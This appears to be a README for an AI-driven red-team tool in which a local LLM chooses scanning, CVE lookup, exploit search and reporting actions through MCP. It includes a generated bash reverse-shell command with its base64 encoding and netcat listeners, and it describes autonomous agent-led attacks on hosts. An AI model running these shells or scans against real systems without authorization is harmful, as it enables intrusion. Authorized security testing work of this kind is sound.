┌─────────────────────────────────────────────────────────────────┐
│                         OPERATOR INPUT                          │
│           (plain English goal or interactive command)           │
└─────────────────────────┬───────────────────────────────────────┘
                          │
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│                    OLLAMA LLM ENGINE                            │
│                  model: llama3.1:8b                             │
│                                                                 │
│  • Reads system prompt with decision logic + few-shot examples  │
│  • Outputs a single structured JSON action                      │
│  • Receives summarized tool output as context                   │
│  • Decides next action until goal is complete                   │
└─────────────────────────┬───────────────────────────────────────┘
                          │  JSON action e.g.
                          │  {"action": "nmap_scan",
                          │   "target": "192.168.1.10",
                          │   "ports": "1-1000"}
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│                     TOOL DISPATCHER                             │
│                                                                 │
│   Routes action → correct tool handler → executes → captures   │
│                                                                 │
│   nmap_scan ──────────► subprocess nmap                        │
│   nikto_scan ─────────► subprocess nikto                       │
│   searchsploit ───────► subprocess searchsploit --json         │
│   http_headers ───────► httpx GET + header analysis            │
│   analyze_service ────► internal CVE knowledge base            │
│   reverse_shell ──────► payload generator                      │
│   log_finding ────────► in-memory finding store                │
│   generate_report ────► Markdown / JSON report writer          │
└─────────────────────────┬───────────────────────────────────────┘
                          │
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│                   RESULT SUMMARIZER                             │
│                                                                 │
│  Raw output is pre-digested before feeding back to the LLM.    │
│  "3000 bytes of nmap XML" becomes:                             │
│  "Nmap found 3 ports: 21/tcp vsftpd 2.3.4, 80/tcp Apache..."  │
└─────────────────────────┬───────────────────────────────────────┘
                          │
                          ▼
                   Loop continues
              until action = "done"
                          │
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│              FINDINGS LOG + PENTEST REPORT                      │
│   All findings auto-logged → professional Markdown report       │
└─────────────────────────────────────────────────────────────────┘

redteam-mcp/
│
├── ai_controller.py        # Main entry point — Ollama AI controller
│                           # Runs standalone, no MCP client needed
│
├── orchestrator.py         # MCP server with high-level workflow tools
│                           # Connect to Claude Desktop or any MCP client
│
├── server.py               # Lightweight MCP server (individual tools only)
│                           # Use this if you don't need workflow automation
│
├── tools/
│   ├── __init__.py
│   ├── recon.py            # Recon & enumeration (nmap, dns, subdomains, whois)
│   ├── vuln_scan.py        # Vulnerability scanning (nikto, headers, CVE analysis)
│   ├── exploit.py          # Exploit research & payload generation
│   └── reporting.py        # Finding logging & report generation
│
├── utils/
│   └── helpers.py          # Shared utilities
│
├── reports/                # Generated pentest reports output here
│                           # (gitignored — never commit client data)
│
├── requirements.txt
├── .gitignore
└── README.md

Python 3.10 or higher

# Install Ollama
curl -fsSL https://ollama.com/install.sh | sh

# Pull the default model (4.7GB)
ollama pull llama3.1:8b

# Verify it's working
ollama run llama3.1:8b "respond with: {\"action\": \"done\", \"message\": \"ok\"}"

# Kali Linux (most are pre-installed)
sudo apt update
sudo apt install -y nmap nikto whois exploitdb

# Metasploit (optional — for msf_search)
# Usually pre-installed on Kali. If not:
sudo apt install -y metasploit-framework

git clone https://github.com/YOURNAME/redteam-mcp.git
cd redteam-mcp

python3 -m venv redteam-env
source redteam-env/bin/activate

pip install -r requirements.txt

mcp>=1.2.0
httpx>=0.27.0
requests>=2.31.0

# Start the Ollama service (if not already running)
ollama serve

# Verify the model is available
ollama list

# Should print the banner and connect to Ollama
python ai_controller.py --help

python ai_controller.py

 ██████╗ ███████╗██████╗ ████████╗███████╗ █████╗ ███╗   ███╗
 ...
        AI-Powered Red Team Controller — Ollama Edition

[12:34:01] [+] Ollama connected — model: llama3.1:8b

redteam> scan 192.168.1.10 for open ports
[12:34:03] [AI] Decided: nmap_scan
[12:34:03] [*] nmap -sV -p 1-1000 --open 192.168.1.10
─────────────────────────────────────────
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
80/tcp open  http    Apache httpd 2.4.49
─────────────────────────────────────────
[LLM context summary: Nmap found 2 ports: 21/tcp vsftpd 2.3.4, 80/tcp Apache 2.4.49]

redteam> analyze what you found
[12:34:15] [AI] Decided: analyze_service
[12:34:15] [FINDING — CRITICAL] vsftpd 2.3.4 Backdoor RCE

redteam> findings
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FINDINGS SUMMARY — 2 total
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [Critical      ] FIND-001 — vsftpd 2.3.4 Backdoor RCE
  [Critical      ] FIND-002 — Apache 2.4.49 Path Traversal/RCE

redteam> report "Acme Corp" "J.Smith" "192.168.1.10"
redteam> exit

# Basic autonomous scan
python ai_controller.py --auto "run full recon on 192.168.1.10"

# Full web application test
python ai_controller.py --auto "perform a complete web application pentest on http://10.0.0.5"

# Extended autonomous engagement (more steps = deeper coverage)
python ai_controller.py --auto "identify all vulnerabilities on 10.0.0.10 and generate a report" --max-steps 25

# Use a different model
python ai_controller.py --model llama3.1:70b --auto "triage the host at 192.168.1.50"

Step 1/15 — Action: nmap_scan          (discovers open ports)
Step 2/15 — Action: analyze_service    (matches vsftpd 2.3.4 → CVE-2011-2523)
Step 3/15 — Action: searchsploit       (finds Metasploit module)
Step 4/15 — Action: log_finding        (Critical — vsftpd Backdoor RCE logged)
Step 5/15 — Action: http_headers       (checks web server security headers)
Step 6/15 — Action: nikto_scan         (web vulnerability scan)
Step 7/15 — Action: log_finding        (High — missing CSP/HSTS headers logged)
Step 8/15 — Action: done               (AI summarizes and exits)

# Start the MCP orchestrator server
python orchestrator.py

# Test with MCP Inspector (browser UI)
mcp dev orchestrator.py

{
  "mcpServers": {
    "redteam": {
      "command": "/path/to/redteam-env/bin/python",
      "args": ["/path/to/redteam-mcp/orchestrator.py"]
    }
  }
}

from mcp.server.fastmcp import FastMCP
from tools.recon import register_recon_tools
from tools.vuln_scan import register_vuln_tools
from tools.exploit import register_exploit_tools
from tools.reporting import register_reporting_tools

# Build a custom MCP server with only the tools you need
mcp = FastMCP("my-custom-server")
register_recon_tools(mcp)
register_vuln_tools(mcp)
register_exploit_tools(mcp)
register_reporting_tools(mcp)

mcp.run(transport="stdio")

{
  "action": "nmap_scan",
  "target": "192.168.1.10",
  "ports": "1-1000",
  "flags": "-sV"
}

{
  "action": "http_headers",
  "url": "http://192.168.1.10"
}

Apache 2.4.49   → CVE-2021-41773 (Path Traversal / RCE)
vsftpd 2.3.4    → CVE-2011-2523  (Backdoor RCE)
Samba 3.5.0     → CVE-2017-7494  (SambaCry EternalRed)
Log4j 2.14.x    → CVE-2021-44228 (Log4Shell)
OpenSSL 1.0.1   → CVE-2014-0160  (Heartbleed)
Struts 2.5.x    → CVE-2017-5638  (Equifax RCE)
Drupal 7.x      → CVE-2018-7600  (Drupalgeddon2)
IIS 6.0         → CVE-2017-7269  (Buffer Overflow RCE)

{
  "action": "reverse_shell",
  "lhost": "10.0.0.1",
  "lport": 4444,
  "type": "bash"
}

{
  "command": "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1",
  "base64": "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=",
  "listener": "nc -lvnp 4444",
  "rlwrap_listener": "rlwrap nc -lvnp 4444"
}

# Pull any model
ollama pull llama3.1:70b
ollama pull mistral:7b

# Use it
python ai_controller.py --model mistral:7b

python ai_controller.py

# Step 1 — Quick triage to understand the attack surface
redteam> triage the host at 192.168.1.10
→ AI runs: quick_triage
→ Output: 3 open ports found — 21 (vsftpd), 80 (Apache), 445 (SMB) | Risk: CRITICAL

# Step 2 — Deeper recon
redteam> run full reconnaissance on 192.168.1.10
→ AI runs: nmap_scan, dns_recon, banner_grab
→ Output: service versions captured, subdomains resolved

# Step 3 — Web application assessment
redteam> check the web server for vulnerabilities
→ AI runs: http_headers → nikto_scan
→ Output: Missing HSTS/CSP headers, nikto finds /phpmyadmin exposed

# Step 4 — CVE research on discovered services
redteam> analyze the vsftpd and apache services you found
→ AI runs: analyze_service (vsftpd 2.3.4) → CVE-2011-2523 CRITICAL
→ AI runs: analyze_service (Apache 2.4.49) → CVE-2021-41773 CRITICAL
→ AI runs: searchsploit vsftpd 2.3.4 → Metasploit module found
→ AI runs: searchsploit apache 2.4.49 → PoC exploit found

# Step 5 — Log findings
redteam> log all the critical findings you've identified
→ AI runs: log_finding × 4

# Step 6 — Generate report
redteam> report "Acme Corp" "Jane Smith" "192.168.1.10 (authorized)"

# Done
redteam> exit

scan 192.168.1.10 for open ports            # specific action
analyze the vsftpd 2.3.4 service you found  # references previous context
search exploitdb for apache 2.4.49          # specific tool + target
log a critical finding for the vsftpd CVE   # clear intent

do something                    # too vague
hack the target                 # no specific action
what should I do?               # AI may ask_user instead of acting

# Fork the repo, create a feature branch
git checkout -b feat/your-feature-name

# Make your changes, then commit with a clear message
git commit -m "feat: add ffuf web fuzzing wrapper"

# Push and open a Pull Request
git push origin feat/your-feature-name

feat:     new feature or tool
fix:      bug fix
refactor: code restructure (no behavior change)
docs:     documentation update
chore:    dependency update, cleanup